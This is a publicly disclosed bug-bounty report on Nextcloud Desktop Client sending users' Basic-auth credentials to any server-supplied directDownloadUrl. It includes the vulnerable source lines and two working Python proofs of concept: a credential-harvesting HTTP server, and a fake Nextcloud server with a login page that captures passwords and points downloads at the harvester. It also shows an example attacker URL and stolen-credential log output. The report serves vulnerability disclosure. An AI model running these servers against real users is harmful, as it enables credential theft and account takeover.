HexBrain

Nextcloud · Report #3400143

Credential Disclosure via Unvalidated directDownloadUrl (Missing DontAddCredentialsAttribute)

Validstatus
mediumseverity
$250bounty
37upvotes
13 Apr 2026disclosed

How it was found

Summary:

The Nextcloud Desktop Client automatically includes user credentials (Authorization header with username:password in Base64) when downloading files via the directDownloadUrl feature. A malicious Nextcloud server can exploit this by setting directDownloadUrl to an attacker-controlled URL, causing the client to leak credentials to the attacker's server.

Root Cause: The client fails to validate the origin of directDownloadUrl and does not set DontAddCredentialsAttribute for cross-origin requests, allowing HttpCredentialsAccessManager to automatically inject Authorization headers to any URL specified by the server, including attacker-controlled domains.


Technical Details

Vulnerable Code

File: src/libsync/propagatedownload.cpp
Lines: 727-738

} else {
    // We were provided a direct URL, use that one
    qCInfo(lcPropagateDownload) << "directDownloadUrl given for " << _item->_file << _item->_directDownloadUrl;

    if (!_item->_directDownloadCookies.isEmpty()) {
        headers["Cookie"] = _item->_directDownloadCookies.toUtf8();
    }

    QUrl url = QUrl::fromUserInput(_item->_directDownloadUrl);
    _job = new GETFileJob(propagator()->account(),   // ← Passes account object
        url,
        &_tmpFile, headers, expectedEtagForResume, _resumeStart, this);
       //  Missing: req.setAttribute(HttpCredentials::DontAddCredentialsAttribute, true); 
}

Auto-Injection of Credentials

File: src/libsync/creds/httpcredentials.cpp
Lines: 51-64

QNetworkReply *createRequest(Operation op, const QNetworkRequest &request, QIODevice *outgoingData) override
{
    QNetworkRequest req(request);
    if (!req.attribute(HttpCredentials::DontAddCredentialsAttribute).toBool()) {
        // ← If DontAddCredentialsAttribute is NOT set, credentials are added
        if (_cred && !_cred->password().isEmpty()) {
            QByteArray credHash = QByteArray(_cred->user().toUtf8() + ":" + _cred->password().toUtf8()).toBase64();
            req.setRawHeader("Authorization", "Basic " + credHash);  // ← Auto-injected!
        }
    }
    return AccessManager::createRequest(op, req, outgoingData);
}

Design Intent vs. Actual Behavior

The directDownloadUrl feature can be used for various scenarios:

Scenario A - Same Origin (e.g., different path):

<oc:downloadURL>https://mycloud.com/download/optimized/file.pdf</oc:downloadURL>

→ Sending Authorization header is acceptable (same server)

Scenario B - Different Subdomain (e.g., CDN):

<oc:downloadURL>https://cdn.mycloud.com/files/file.pdf</oc:downloadURL>

→ Sending Authorization header is questionable (different origin)

Scenario C - External Domain (e.g., S3, attacker):

<oc:downloadURL>https://attacker.com/steal</oc:downloadURL>

→ Sending Authorization header is dangerous (credential leak)

The Critical Bug:

The code performs NO origin validation before sending credentials. It sends Authorization headers to ALL URLs without checking whether:

  • URL is same origin as the server
  • URL is a trusted domain
  • URL is external/untrusted

This creates a vulnerability where:

  • Malicious servers can specify attacker-controlled URLs
  • Client blindly sends credentials to any URL provided by the server
  • No protection against cross-origin credential leakage

Evidence:

// propagatedownload.cpp:735-738
QUrl url = QUrl::fromUserInput(_item->_directDownloadUrl);  // ← No validation!
_job = new GETFileJob(propagator()->account(), url, ...);   // ← Always includes account
// No check: if (url.host() != server.host()) DontAddCredentialsAttribute

The existence of dDC (directDownloadCookies) field suggests external URLs should use separate authentication, but the code doesn't enforce this distinction.


Steps To Reproduce:

Prerequisites

  • Python 3.x
  • Nextcloud Desktop Client (any version)

Step 1: Start the Credential Stealer Server

#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import base64

class CredStealer(BaseHTTPRequestHandler):
    def do_GET(self):
        auth = self.headers.get('Authorization', '')
        
        if auth.startswith('Basic '):
            decoded = base64.b64decode(auth[6:]).decode('utf-8')
            print(f"[SUCCESS] Stolen User Credentials: {decoded}")
            print(f"   (Raw: {auth})")
        else:
            print(f"  Authorization Header: {auth}")
        
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

HTTPServer(('', 9911), CredStealer).serve_forever()

Terminal 1:

python3 credential_stealer_server.py

This server listens on port 9911 and captures any Authorization headers.

Step 2: Start the Malicious Nextcloud Server

#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class FakeNextcloud(BaseHTTPRequestHandler):
    # Store actual user credentials
    user_credentials = {}
    
    def do_GET(self):
        print(f"[GET] {self.path}")
        
        # Basic Auth check
        auth_header = self.headers.get('Authorization', '')
        if auth_header and auth_header.startswith('Basic '):
            import base64
            try:
                decoded = base64.b64decode(auth_header[6:]).decode('utf-8')
                username, password = decoded.split(':', 1)
                print(f"[AUTH] Client sent: {username}:{password}")
                # Store actual credentials
                FakeNextcloud.user_credentials['username'] = username
                FakeNextcloud.user_credentials['password'] = password
            except:
                pass
        
        # When the client tries to download document.pdf directly
        if self.path.endswith('document.pdf'):
            print("[!] Client trying to download without directDownloadUrl")
            print("[!] Redirecting to malicious URL...")
            # Redirect to steal_server via 302
            self.send_response(302)
            self.send_header('Location', 'http://localhost:9911/steal')
            self.end_headers()
            return
        if self.path == '/status.php':
            response = json.dumps({
                "installed": True,
                "version": "28.0.0.0",
                "productname": "Nextcloud"
            }).encode()
            self.send_response(200)
            self.send_header('Content-Type', 'application/json')
            self.end_headers()
            self.wfile.write(response)
        elif '/ocs/' in self.path and 'capabilities' in self.path:
            # Capabilities response
            response = json.dumps({
                "ocs": {
                    "meta": {"status": "ok", "statuscode": 200, "message": "OK"},
                    "data": {
                        "version": {"major": 28, "minor": 0, "string": "28.0.0"},
                        "capabilities": {
                            "core": {"pollinterval": 60},
                            "files": {"bigfilechunking": True, "directEditing": {}},
                            "dav": {"chunking": "1.0"}
                        }
                    }
                }
            }).encode()
            self.send_response(200)
            self.send_header('Content-Type', 'application/json')
            self.end_headers()
            self.wfile.write(response)
        elif '/ocs/' in self.path and 'user' in self.path:
            # User info response
            response = json.dumps({
                "ocs": {
                    "meta": {"status": "ok", "statuscode": 200, "message": "OK"},
                    "data": {
                        "id": "test",
                        "displayname": "Test User",
                        "email": "[email protected]",
                        "quota": {"free": 1000000000, "used": 0, "total": 1000000000}
                    }
                }
            }).encode()
            self.send_response(200)
            self.send_header('Content-Type', 'application/json')
            self.end_headers()
            self.wfile.write(response)
        elif self.path == '/login-page':
            # Login page - user enters actual credentials
            html = b'''<!DOCTYPE html>
<html>
<head><title>Nextcloud Login</title></head>
<body style="font-family: sans-serif; max-width: 400px; margin: 100px auto; text-align: center;">
    <h1>Nextcloud</h1>
    <p style="color: red; font-weight: bold;">Enter YOUR REAL credentials to test vulnerability</p>
    <form method="POST" action="/login-submit">
        <input type="text" name="user" placeholder="Your Real Username" required style="width: 100%; padding: 10px; margin: 10px 0;"><br>
        <input type="password" name="password" placeholder="Your Real Password" required style="width: 100%; padding: 10px; margin: 10px 0;"><br>
        <button type="submit" style="width: 100%; padding: 10px; background: #0082c9; color: white; border: none; cursor: pointer;">Login</button>
    </form>
    <p style="font-size: 12px; color: #666; margin-top: 20px;">
        This is a FAKE server for vulnerability testing.<br>
        Your credentials will be sent to steal_server (port 9911)
    </p>
</body>
</html>'''
            self.send_response(200)
            self.send_header('Content-Type', 'text/html')
            self.end_headers()
            self.wfile.write(html)
        else:
            self.send_response(200)
            self.end_headers()
    
    login_completed = False
    submitted_username = ""
    submitted_password = ""
    
    def do_POST(self):
        print(f"[POST] {self.path}")
        if self.path.startswith('/index.php/login/v2') and not self.path.endswith('/poll'):
            # Login Flow v2 initial request
            response = json.dumps({
                "poll": {
                    "token": "fake-poll-token",
                    "endpoint": f"http://localhost:8811/index.php/login/v2/poll"
                },
                "login": f"http://localhost:8811/login-page"
            }).encode()
            self.send_response(200)
            self.send_header('Content-Type', 'application/json')
            self.end_headers()
            self.wfile.write(response)
        elif self.path.endswith('/poll'):
            # Poll request - check if login is complete
            if FakeNextcloud.login_completed:
                print(f"[!] Login approved - sending credentials: {FakeNextcloud.submitted_username}")
                # Send actual credentials to the client
                response = json.dumps({
                    "server": f"http://localhost:8811",
                    "loginName": FakeNextcloud.submitted_username,
                    "appPassword": FakeNextcloud.submitted_password
                }).encode()
                self.send_response(200)
                self.send_header('Content-Type', 'application/json')
                self.end_headers()
                self.wfile.write(response)
            else:
                # Login not complete
                self.send_response(404)
                self.end_headers()
        elif self.path == '/login-submit':
            # Login submission processing - extract actual credentials
            content_length = int(self.headers.get('Content-Length', 0))
            post_data = self.rfile.read(content_length).decode('utf-8')
            
            # Parse POST data
            from urllib.parse import parse_qs
            params = parse_qs(post_data)
            username = params.get('user', [''])[0]
            password = params.get('password', [''])[0]
            
            FakeNextcloud.submitted_username = username
            FakeNextcloud.submitted_password = password
            FakeNextcloud.login_completed = True
            
            print(f"\n{'='*60}")
            print(f"[!] User submitted credentials:")
            print(f"    Username: {username}")
            print(f"    Password: {password}")
            print(f"{'='*60}\n")
            
            html = b'''<!DOCTYPE html>
<html>
<head><title>Login Success</title></head>
<body style="font-family: sans-serif; max-width: 400px; margin: 100px auto; text-align: center;">
    <h1>Login Successful</h1>
    <p>You can now return to Nextcloud client</p>
    <p>You can close this window</p>
</body>
</html>'''
            self.send_response(200)
            self.send_header('Content-Type', 'text/html')
            self.end_headers()
            self.wfile.write(html)
        else:
            self.send_response(200)
            self.end_headers()
    
    def do_PROPFIND(self):
        import time
        import random
        
        print(f"\n[!] PROPFIND request: {self.path}")
        
        # Root folder request - empty folder response
        if self.path.endswith('/test/') or self.path.endswith('/test'):
            timestamp = time.strftime('%a, %d %b %Y %H:%M:%S GMT', time.gmtime())
            response = f'''<?xml version="1.0"?>
<d:multistatus xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">
  <d:response>
    <d:href>/remote.php/dav/files/test/</d:href>
    <d:propstat>
      <d:prop>
        <d:resourcetype><d:collection/></d:resourcetype>
        <d:getlastmodified>{timestamp}</d:getlastmodified>
        <d:getetag>"root-folder"</d:getetag>
        <oc:id>00000000root00000000</oc:id>
        <oc:permissions>RGDNVCK</oc:permissions>
      </d:prop>
      <d:status>HTTP/1.1 200 OK</d:status>
    </d:propstat>
  </d:response>
  <d:response>
    <d:href>/remote.php/dav/files/test/document.pdf</d:href>
    <d:propstat>
      <d:prop>
        <d:resourcetype/>
        <d:getlastmodified>{timestamp}</d:getlastmodified>
        <d:getcontentlength>524288</d:getcontentlength>
        <d:getetag>"{random.randint(10000, 99999)}"</d:getetag>
        <oc:id>00000001ocid000000000001</oc:id>
        <oc:fileid>12345</oc:fileid>
        <oc:permissions>RGDNVW</oc:permissions>
        <oc:size>524288</oc:size>
        <oc:downloadURL>http://localhost:9911/steal</oc:downloadURL>
      </d:prop>
      <d:status>HTTP/1.1 200 OK</d:status>
    </d:propstat>
  </d:response>
</d:multistatus>'''.encode('utf-8')
            print(f"[!] Returning folder with malicious document.pdf")
            print(f"[!] directDownloadUrl=http://localhost:9911/steal")
        else:
            # Other requests - empty response
            response = b'''<?xml version="1.0"?>
<d:multistatus xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">
</d:multistatus>'''
            print(f"[!] Returning empty response")
        
        self.send_response(207)
        self.send_header('Content-Type', 'application/xml; charset=utf-8')
        self.end_headers()
        self.wfile.write(response)

HTTPServer(('', 8811), FakeNextcloud).serve_forever()

Terminal 2:

python3 malicious_nextcloud_server.py

This server simulates a malicious Nextcloud server on port 8811.

Step 3: Configure Nextcloud Desktop Client

  1. Open Nextcloud Desktop Client
  2. Click "Add Account"
  3. Click "Log in"
  4. Enter server URL: http://localhost:8811
  5. Click "Open Browser" when prompted
  6. In the browser login page, enter test credentials:
    • Username: testuser
    • Password: MySecretPassword123
  7. Click "Login" button
  8. Return to client and select any local folder
  9. Click "Connect"
  10. Captured Authorization Header in steal_server terminal

Step 4: Observe Credential Theft

Terminal 2 (credential_stealer_server.py) will display:

[GET] Request received: /steal
[SUCCESS] Stolen User Credentials: pyozzi:pyozzi_password
   (Raw: Basic cHlvenppOnB5b3p6aV9wYXNzd29yZA==)
127.0.0.1 - - [26/Oct/2025 19:34:54] "GET /steal HTTP/1.1" 200 -

[GET] Request received: /steal
[SUCCESS] Stolen User Credentials: pyozzi:pyozzi_password
   (Raw: Basic cHlvenppOnB5b3p6aV9wYXNzd29yZA==)
127.0.0.1 - - [26/Oct/2025 19:34:54] "GET /steal HTTP/1.1" 200 -

[GET] Request received: /steal
[SUCCESS] Stolen User Credentials: pyozzi:pyozzi_password
   (Raw: Basic cHlvenppOnB5b3p6aV9wYXNzd29yZA==)
127.0.0.1 - - [26/Oct/2025 19:34:55] "GET /steal HTTP/1.1" 200 -

Supporting Material/References:

{F4933976}

  • [attachment / reference]

Impact

Complete account takeover - attackers gain full access to the victim's Nextcloud account with plaintext credentials.

With the stolen credentials, attackers can access all sensitive user data including personal files, documents, contacts, calendars, and shared resources.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original